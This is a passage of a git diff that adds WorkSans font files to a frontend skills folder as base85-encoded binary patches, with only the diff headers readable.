zS<c*j7p{A0@4gH7F1ZWWCeYXf8k<046KHG#jZL7j2{bl=#wO6%1R9$_V-sj>0*y_e zu?aLbfyO4#*aRAzKw}eVYyyo<ps@)wHi5<_(AWeTn?Pd|C~N|SO`xy|6gGjvCQ#S} z3Y$P-6WFu~6gGjvCQ#S}3Y$P-6DVu~g-xKa2^2Pg!X{AI1PYr#VG}590)<VWun814 zfx;$G*aQljKw%RoYyyQ%ps)!PHi5z>P}l?tn?PX`C~N|SO(5C?_SgjW*aY_21oqej z_SgjW*aY@`A2)&V;Z0y{6ZnQrVC*@-*mHof=Ky2R0mhyKj6DY!dk!%69ANA@z}Rzu zvF8BO@23_vfx;$G*aQljKw%RoYyyQ%ps)!PHi5z>P}l?tn?PX`C~N|SO`xy|6gGjv zCQ#S}3Y$P-6DVu~g-xKa2^2Pg!X{AI1PYr#VG}590)<VWun814fx;$G*aXI&0~9ua zvF89|&jH4s1B^Wf7<&#d_8egBIl$O+fW{`!*aRAzKw}eVYyyo<ps@)wHi5<_(AWeT zo4}S$V9O@3WfR!432fN}wrm1hHi0dhK;s!e;~7BHn$a$`)RsG;TSv*A&@FdDdj`;W z2GDp0(0B&Wcm~jT2GDp0(0B&Wcm~jT2GDp0(0B&W9DW8cwh4@F0%M!N*d{Qx2}Hu* zBK$4F-y-}i!rwY9{DSZc!Y>HFApC;x3&Jl5fBOB_g76E%F9^RN{DSZc!Y>HFApC;x z3&Jl5zaadA@C(8(2)`iwg76E%F9^RN{DSZc!Y>HFApC;x$Ikc1&iA*dzM%So>Lb-h zs*hA3sXkJDL-mpB<KcG@52=1g^+T#3QvHzXhg3hL`XSX1seVZHL#iKA{gCR1R6nHp zA=MA5en|C0svlDQkm`q2KcxC0)eotDMD?SC?;^g)-`~CHRNqj2L-h^SH&oyJv%RPI zlm6bHvJGA3=heDK?nbBjhUy!tZ|=l<j30id-(&m*&w$*r_k(_)G1WIz-%x!+^$pcG zRNqj2L-h^SH&owHeM9vP)i+e%P<=!74b?YP-%x!+^$pcGRNqj2L-h^SH&owHeM9vP z)i+e%P<=!74b?YP-%x$?&37yNckYPqSAHnPK1^=^r1~wY-=g|0s^6met@bhU?<Uo6 zQT-OxPpE!E^%JU}Q2m7JCsaS7`U%xfsD48A6RMw3{e<c#R6n8m3Dr-ienRyVs-IB( zgz6`4cgeNgCD(SBT-#l8ZFkAF-6hv{k6im?ouU`WJ#y_A$vtvy_sF$hqSJJ`UZ$7J zjehM{>J0z)pDEAcYz2+2ps^J+wu0vNcRAY%zN`D{Z2@Cjz{Ca+Z2)8XAJhLg=s(i` zp}Xw;9z*_j>OTASBWwV7-)HZM&;Ri@jPLb6`<a=4<FEN|^(*rKEk}48#@+YX|C#@d z-lz9#ULVj0^&x#&A8}9pNA)p%T%XVtx>BFir*xI>zR&*lw`6?tK6{(NU3rJrk)9D$ zHiQ4ypAnqu89{Y;GpG(fBdBZ!mCc~C8B{id%4Sg63@V#JWizO329?dAvKdr1gCC}6 z1eMKT`i!8m8B{id%4Sg63@V#JWizO329?dAv>B8(gVJVD+6+pYL1{B6Z3d;yptKp3 zHiOb;aHN}Xevr=yrf-0)YzCFhpt2cMHiOD$5bne?g4zaA+aPKiL~Vnpe~6wDR5pmp z2H~chJN%5G{Ksbm{yV?te~aJOAL!NkFZx6MSN%8rcl{6jPyH{wMt`I~)@$`Tou#vN zj?UG2I$sy)^}5hM;~V6;oM!~VHW6$S!8Q?W6TvnSY!l(1ahnK-w~1hz2)2n}n+Udv zV4DcGiEt;jiJ9+Wo4CO?al>7(O$6ISuuTNpM6gW++eENU1lvTgO$6ISuuTNpM6gW+ z+eENU1lvTgO$6ISuuTNpM6gW++eENU1lvTgO$6ISuuTNpM6gW++eENU1lvTgO$6IS zuuX(-*(Smr*d|7{iIHt$WSbb-CPuc2k!@mRn;6+9Mz)EOZDM4b82!LLA@uFG2{%*U z;f=yuCE70)H@3O4&5hq?%LulNV9N-$j9|+Mwv1rQ2;Z`0d|%#QW9!(ob!>U|Ft&M& hZ65XEXAeW$$H?|EwtY07Jsf(+&7o%xcj`Si{~PjRj9CBx literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/WorkSans-BoldItalic.ttf b/skills/frontend-dev/canvas-fonts/WorkSans-BoldItalic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..54418b8a6303d1b0cd6b6a206ca3014eba71bc3a GIT binary patch literal 175772 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 